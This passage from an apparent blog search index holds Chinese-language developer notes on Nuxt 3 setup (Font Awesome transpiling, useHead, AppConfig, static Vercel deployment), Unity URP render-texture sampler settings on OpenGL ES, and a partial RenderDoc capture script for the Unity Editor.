class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/fontawesome-svg-core\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-brands-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-regular-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/free-solid-svg-icons\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e})\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cblockquote\u003e\n\u003cp\u003eIf you're curious, like I was, about \u003cem\u003ewhy\u003c/em\u003e we need to transpile @fortawesome/vue-fontawesome in order to avoid this SSR hydration mismatch, it's because the module field in the package.json file from @fortawesome/vue-fontawesome specifies index.es.js as the entry point (\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/blob/3.x/package.json#L20\"\u003elink\u003c/a\u003e) but package.json doesn't specify \u003ccode\u003e\"type\": \"module\"\u003c/code\u003e so Node treats this file as a CommonJS module. But index.es.js actually uses ESM syntax, so Node fails to load it and thus the \u003ccode\u003e\u0026lt;FontAwesomeIcon\u0026gt;\u003c/code\u003e component fails to render on the server since it's not defined.\u003c/p\u003e\n\u003cp\u003eThe Nuxt documentation does an excellent job documenting this problem:\u003c/p\u003e\n\u003cp\u003ehttps://nuxt.com/docs/guide/concepts/esm#what-kinds-of-problems-can-there-be\u003c/p\u003e\n\u003cp\u003eSo until @fortawesome/vue-fontawesome is updated to correct this issue, simply configure Nuxt to transpile @fortawesome/vue-fontawesome:\u003c/p\u003e\n\u003cp\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"nx\"\u003ebuild\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003etranspile\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;@fortawesome/vue-fontawesome\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"设置页面-head-信息\"\u003e设置页面 head 信息\u003ca class=\"headerlink\" href=\"#设置页面-head-信息\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e文档 \u003ca href=\"https://nuxt.com/docs/getting-started/seo-meta#usehead\"\u003ehttps://nuxt.com/docs/getting-started/seo-meta#usehead\u003c/a\u003e 里推荐用 \u003ccode\u003eusehead\u003c/code\u003e 来实现。它是 \u003ca href=\"https://unhead.unjs.io/\"\u003eUnhead\u003c/a\u003e 提供的,现在已经被 Nuxt 内置了,直接用就行。\u003c/p\u003e\n\u003ch2 id=\"AppConfig\"\u003eAppConfig\u003ca class=\"headerlink\" href=\"#AppConfig\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ch3 id=\"useAppConfig-的代码提示\"\u003e\u003ccode\u003euseAppConfig()\u003c/code\u003e 的代码提示\u003ca class=\"headerlink\" href=\"#useAppConfig-的代码提示\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e文档 \u003ca href=\"https://nuxt.com/docs/guide/directory-structure/app-config#typing-app-config\"\u003ehttps://nuxt.com/docs/guide/directory-structure/app-config#typing-app-config\u003c/a\u003e 中提到 Nuxt 会自动生成 \u003ccode\u003eapp.config.ts\u003c/code\u003e 的类型信息。\u003c/p\u003e\n\u003cp\u003e实际使用时,以 VSCode 为例,需要重启编辑器才能生效。\u003c/p\u003e\n\u003ch3 id=\"AppConfig-的限制\"\u003eAppConfig 的限制\u003ca class=\"headerlink\" href=\"#AppConfig-的限制\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003euseAppConfig()\u003c/code\u003e 返回的是配置对象的 Reactive Proxy,所以和 Vue 的 \u003ccode\u003ereactive()\u003c/code\u003e 有一样的限制。具体可以参考 Vue 的文档 \u003ca href=\"https://cn.vuejs.org/guide/essentials/reactivity-fundamentals.html#limitations-of-reactive\"\u003e\u003ccode\u003ereactive()\u003c/code\u003e 的局限性\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"纯静态部署到-Vercel\"\u003e纯静态部署到 Vercel\u003ca class=\"headerlink\" href=\"#纯静态部署到-Vercel\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e把 Nuxt 3 项目部署到 Vercel 时,默认是部署了一个叫 \u003ccode\u003e__nitro\u003c/code\u003e 的 Serverless Function。用户访问时,\u003ccode\u003e__nitro\u003c/code\u003e 就会被调用,然后返回对应的页面。\u003c/p\u003e\n\u003cp\u003e实际用了几天后,我发现每隔一段时间访问网站时,请求的耗时会显著增加。背后的原因,大概是每过一段时间 \u003ccode\u003e__nitro\u003c/code\u003e 就会把 cache 给失效掉,然后重新渲染整个页面,所以耗时比较长。对于我的没什么功能的小网站来说,这些步骤完全是多余的,还给用户带来了负面的体验,所以我决定直接静态化部署网站。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://vercel.com/docs/frameworks/nuxt#static-rendering\"\u003eVercel 的文档\u003c/a\u003e 中提到了用 \u003ccode\u003enuxt generate\u003c/code\u003e 和 \u003ccode\u003enuxt build\u003c/code\u003e(默认)部署时的不同做法,但是后面一种我自己试的时候失败了,所以就用了前一种。流程很简单:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e修改 \u003ccode\u003enuxt.config.ts\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eexport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003edefineNuxtConfig\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003enitro\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nx\"\u003estatic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 Vercel 上去项目 Settings 面板重写 \u003ccode\u003eBuild Command\u003c/code\u003e 为 \u003ccode\u003enpm run generate\u003c/code\u003e(或 \u003ccode\u003enuxt generate\u003c/code\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/FortAwesome/vue-fontawesome/issues/394#issuecomment-2092933896\"\u003ehttps://github.com/FortAwesome/vue-fontawesome/issues/394#issuecomment-2092933896\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/nuxt3-dev-guide/"},{"title":"Allocate RT 时记得指定 filterMode 和 wrapMode","time":"2024-04-03T12:07:07Z","content":"\u003ch1 id=\"Allocate-RT-时记得指定-filterMode-和-wrapMode\"\u003eAllocate RT 时记得指定 filterMode 和 wrapMode\u003ca class=\"headerlink\" href=\"#Allocate-RT-时记得指定-filterMode-和-wrapMode\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e最近在 URP 里遇到的坑:C# 里申请了一张 RT\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eRenderingUtils\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eReAllocateIfNeeded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_RT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edesc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在 Shader 里用 Inline Sampler State 采样它,实现了某个效果\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSAMPLE_TEXTURE2D_X\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_BlitTexture\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_LinearClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ergb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e打包测试发现 OpenGL ES 上效果不对。\u003c/p\u003e\n\u003ch2 id=\"原因\"\u003e原因\u003ca class=\"headerlink\" href=\"#原因\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e拿 RenderDoc 抓帧以后,发现在 DX11 上采样用的\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003eUVW\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eMinification \u0026amp; Magnification\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eClampEdge\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003eLinear\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e这是正确的。但 OpenGL ES 上采样用的却是\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003eUVW\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eMinification \u0026amp; Magnification\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eRepeat\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003ePoint\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e这组值刚好是 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.render-pipelines.universal@14.0/api/UnityEngine.Rendering.Universal.RenderingUtils.html#UnityEngine_Rendering_Universal_RenderingUtils_ReAllocateIfNeeded_UnityEngine_Rendering_RTHandle__UnityEngine_RenderTextureDescriptor__UnityEngine_FilterMode_UnityEngine_TextureWrapMode_System_Boolean_System_Int32_System_Single_System_String_\"\u003e\u003ccode\u003eRenderingUtils.ReAllocateIfNeeded\u003c/code\u003e\u003c/a\u003e 方法中 \u003ccode\u003efilterMode\u003c/code\u003e 和 \u003ccode\u003ewrapMode\u003c/code\u003e 的默认值。\u003c/p\u003e\n\u003cp\u003e一查文档发现\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eCoupled textures and samplers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eMost of the time when sampling textures in shaders, the texture sampling state should come from \u003ca href=\"https://docs.unity3d.com/Manual/class-TextureImporter.html\"\u003etexture settings\u003c/a\u003e – essentially, textures and samplers are coupled together. This is default behavior when using DX9-style shader syntax:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003esampler2D\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MainTex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecolor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003etex2D\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_MainTex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUsing sampler2D, sampler3D, samplerCUBE HLSL keywords declares both texture and sampler.\u003c/p\u003e\n\u003cp\u003eMost of the time this is what you want, and is \u003cmark\u003ethe only supported option on older graphics APIs (OpenGL ES)\u003c/mark\u003e.\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSeparate textures and samplers\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eInline sampler states\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e...\u003c/p\u003e\n\u003cp\u003e\u003cmark\u003eJust like separate texture + sampler syntax, inline sampler states are not supported on some platforms. Currently they are implemented on Direct3D 11/12 and Metal.\u003c/mark\u003e \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e我试下来 Vulkan 似乎也没问题,至少最后的效果没问题。\u003c/p\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003ca class=\"headerlink\" href=\"#结论\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在 OpenGL ES 采样时用的是 RT 上的设置,\u003ccode\u003esampler_LinearClamp\u003c/code\u003e 这种 Inline Sampler State 没用。\u003c/p\u003e\n\u003cp\u003e为了保证不同平台上效果一致,申请 RT 时加上 \u003ccode\u003efilterMode\u003c/code\u003e 和 \u003ccode\u003ewrapMode\u003c/code\u003e,和 Inline Sampler State 保持一致。或者干脆不用 Inline Sampler State,完全依靠 Texture Settings。\u003c/p\u003e\n\u003cp\u003e本文最前面的 C# 代码改成下面这样就能解决问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eRenderingUtils\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eReAllocateIfNeeded\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_RT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edesc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFilterMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBilinear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTextureWrapMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eClamp\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv class=\"footnote\"\u003e\n\u003chr /\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003e\u003ca href=\"https://docs.unity3d.com/Manual/SL-SamplerStates.html\"\u003eUnity - Manual: Using sampler states\u003c/a\u003e\u0026#160;\u003ca class=\"footnote-backref\" href=\"#fnref:1\" title=\"Jump back to footnote 1 in the text\"\u003e\u0026#8617;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-allocate-rt-problem/"},{"title":"用 RenderDoc 持续截帧 Unity Editor Game View","time":"2024-04-02T13:42:47Z","content":"\u003ch1 id=\"用-RenderDoc-持续截帧-Unity-Editor-Game-View\"\u003e用 RenderDoc 持续截帧 Unity Editor Game View\u003ca class=\"headerlink\" href=\"#用-RenderDoc-持续截帧-Unity-Editor-Game-View\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e某些渲染 bug 只会持续很短的时间,手动抓帧根本抓不到。Unity 在 \u003ccode\u003eUnityEditorInternal\u003c/code\u003e 命名空间下,提供了 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/d2eb9c0352229c0268d47ca0efa69e14b5d180f8/Editor/Mono/RenderDoc/RenderDoc.bindings.cs#L32\"\u003e\u003ccode\u003eRenderDoc.BeginCaptureRenderDoc\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"https://github.com/Unity-Technologies/UnityCsReference/blob/d2eb9c0352229c0268d47ca0efa69e14b5d180f8/Editor/Mono/RenderDoc/RenderDoc.bindings.cs#L34C28-L34C47\"\u003e\u003ccode\u003eRenderDoc.EndCaptureRenderDoc\u003c/code\u003e\u003c/a\u003e 方法。可以用它们对 Game View 持续截帧。\u003c/p\u003e\n\u003ch2 id=\"代码\"\u003e代码\u003ca class=\"headerlink\" href=\"#代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e随便给的快捷键:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAlt+Shift+B 开始截帧\u003c/li\u003e\n\u003cli\u003eAlt+Shift+E 结束截帧\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e为了防止和其他快捷键冲突,所以给得比较反人类。不过用的频率比较低,所以可以接受。\u003c/p\u003e\n\u003cp\u003e同时开多个 Game View 可能有问题,一个都不开必有问题。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditor.ShortcutManagement\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEditorInternal\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"k\"\u003eusing\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003eUnityEngine\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eRenderDocUtils\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[Shortcut(\u0026quot;RenderDocUtils/BeginCaptureGameView\u0026quot;, KeyCode.B, ShortcutModifiers.Alt | ShortcutModifiers.Shift)]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eBeginCaptureGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eBeginCaptureRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc capture started\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"na\"\u003e[Shortcut(\u0026quot;RenderDocUtils/EndCaptureGameView\u0026quot;, KeyCode.E, ShortcutModifiers.Alt | ShortcutModifiers.Shift)]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eEndCaptureGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEndCaptureRenderDoc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDebug\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RenderDoc capture ended\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEditorWindow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetActiveGameView\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etype\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSceneView\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eAssembly\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetType\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;UnityEditor.GameView\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e 